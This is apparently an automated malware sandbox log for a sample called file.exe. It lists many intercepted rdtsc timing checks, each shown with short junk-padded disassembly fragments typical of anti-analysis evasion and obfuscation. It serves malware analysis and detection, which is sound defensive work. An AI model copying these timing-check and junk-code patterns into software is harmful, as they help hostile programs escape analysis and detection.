Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34427 second address: C34433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007FEC7C7C7EA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34433 second address: C34441 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69BFAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C34593 second address: C3459F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FEC7C7C7EA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3459F second address: C345A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C345A4 second address: C345AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C345AA second address: C345B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C345B9 second address: C345D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB0h 0x00000007 jg 00007FEC7C7C7EAEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C350E4 second address: C350E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C350E8 second address: C350EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C350EE second address: C35106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FEC7CD69C02h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35106 second address: C35110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FEC7C7C7EA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35110 second address: C3511A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEC7CD69BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3511A second address: C35124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35124 second address: C3512A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35812 second address: C3582D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3582D second address: C3583C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEC7CD69BF6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3583C second address: C35840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C35840 second address: C3587E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FEC7CD69C0Ch 0x0000000f jmp 00007FEC7CD69C09h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C336C4 second address: C336D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEC7C7C7EA6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C336D2 second address: C336F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEC7CD69C07h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C336F0 second address: C3371C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FEC7C7C7EB1h 0x0000000e jnc 00007FEC7C7C7EA6h 0x00000014 jnc 00007FEC7C7C7EA6h 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37D13 second address: C37D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37D19 second address: C37D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37D1D second address: C37D21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37D21 second address: C37D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C3E1 second address: C3C3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C3EA second address: C3C3EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C586 second address: C3C58A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48189 second address: C48193 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEC7C7C7EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48193 second address: C481AA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC7CD69BFDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C481AA second address: C481AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C481AE second address: C481CE instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC7CD69BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 jp 00007FEC7CD69BF6h 0x00000017 pop edx 0x00000018 jl 00007FEC7CD69BF8h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48302 second address: C48312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FEC7C7C7EAAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48312 second address: C48317 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C52B1B second address: C52B28 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007FEC7C7C7EA6h 0x00000009 pop edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57F36 second address: C57F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C06h 0x00000009 jmp 00007FEC7CD69C03h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FEC7CD69BF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57F6C second address: C57F88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEC7C7C7EAFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5CAFE second address: C5CB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEC7CD69BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65C2F second address: C65C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65D98 second address: C65D9E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65F1C second address: C65F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEC7C7C7EA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65F26 second address: C65F2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65F2A second address: C65F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65F30 second address: C65F58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C08h 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FEC7CD69BF6h 0x0000000f jbe 00007FEC7CD69BF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6635D second address: C6638A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEC7C7C7EA6h 0x00000008 js 00007FEC7C7C7EA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push edi 0x00000012 pushad 0x00000013 jmp 00007FEC7C7C7EB8h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C66493 second address: C664B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEC7CD69BF6h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jmp 00007FEC7CD69BFDh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C664B7 second address: C664C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C664C1 second address: C664CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEC7CD69BF6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C664CE second address: C664F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FEC7C7C7EADh 0x0000000a jmp 00007FEC7C7C7EADh 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C789C6 second address: C789CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C789CF second address: C789D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C789D9 second address: C789E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85EAB second address: C85ED6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEC7C7C7EC1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85ED6 second address: C85F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a je 00007FEC7CD69BF6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FEC7CD69C02h 0x00000017 popad 0x00000018 push ecx 0x00000019 jg 00007FEC7CD69BF6h 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FEC7CD69BFDh 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85F14 second address: C85F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85F18 second address: C85F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85BC4 second address: C85BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85BCB second address: C85BD5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEC7CD69BFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85BD5 second address: C85BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85BDF second address: C85BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C03h 0x00000009 jo 00007FEC7CD69BF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85BFE second address: C85C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85C08 second address: C85C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C03h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C875C5 second address: C875CB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C875CB second address: C875E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC7CD69C06h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C875E9 second address: C87649 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB2h 0x00000007 jmp 00007FEC7C7C7EB3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FEC7C7C7EB5h 0x00000013 popad 0x00000014 pushad 0x00000015 js 00007FEC7C7C7EA8h 0x0000001b pushad 0x0000001c popad 0x0000001d js 00007FEC7C7C7EA8h 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FEC7C7C7EACh 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87649 second address: C8764D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8764D second address: C87653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DB8C second address: C9DB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DB92 second address: C9DB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DB97 second address: C9DBAE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEC7CD69BFCh 0x00000008 jnl 00007FEC7CD69BF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CDCA second address: C9CDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CDCE second address: C9CE05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C00h 0x00000007 js 00007FEC7CD69BF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEC7CD69C06h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CE05 second address: C9CE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CF56 second address: C9CF5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CF5A second address: C9CF64 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC7C7C7EA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CF64 second address: C9CF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FEC7CD69BF6h 0x0000000e jg 00007FEC7CD69BF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CF78 second address: C9CF7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CF7C second address: C9CFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C06h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9CFA0 second address: C9CFA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D2BD second address: C9D2C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D2C3 second address: C9D2C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D2C7 second address: C9D2E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push ecx 0x0000000c jmp 00007FEC7CD69C02h 0x00000011 pop ecx 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D58A second address: C9D5BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB8h 0x00000007 jmp 00007FEC7C7C7EAFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FEC7C7C7EA6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D746 second address: C9D74A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0689 second address: CA069E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0743 second address: CA0747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0A44 second address: CA0A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jbe 00007FEC7C7C7EA6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 jbe 00007FEC7C7C7EA8h 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f pushad 0x00000020 js 00007FEC7C7C7EACh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0A6C second address: CA0A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEC7CD69BFCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5540 second address: CA5546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544029F second address: 54402A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54402A5 second address: 5440334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC7C7C7EB2h 0x00000008 pushfd 0x00000009 jmp 00007FEC7C7C7EB2h 0x0000000e add al, FFFFFFB8h 0x00000011 jmp 00007FEC7C7C7EABh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FEC7C7C7EABh 0x00000024 xor ah, 0000007Eh 0x00000027 jmp 00007FEC7C7C7EB9h 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007FEC7C7C7EB0h 0x00000033 jmp 00007FEC7C7C7EB5h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5440334 second address: 54403DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC7CD69C07h 0x00000008 jmp 00007FEC7CD69C08h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FEC7CD69C07h 0x00000019 sbb cl, FFFFFFFEh 0x0000001c jmp 00007FEC7CD69C09h 0x00000021 popfd 0x00000022 call 00007FEC7CD69C00h 0x00000027 pop esi 0x00000028 popad 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b jmp 00007FEC7CD69BFCh 0x00000030 mov ebp, esp 0x00000032 jmp 00007FEC7CD69C00h 0x00000037 pop ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push ebx 0x0000003c pop ecx 0x0000003d push ebx 0x0000003e pop esi 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544042F second address: 5440433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
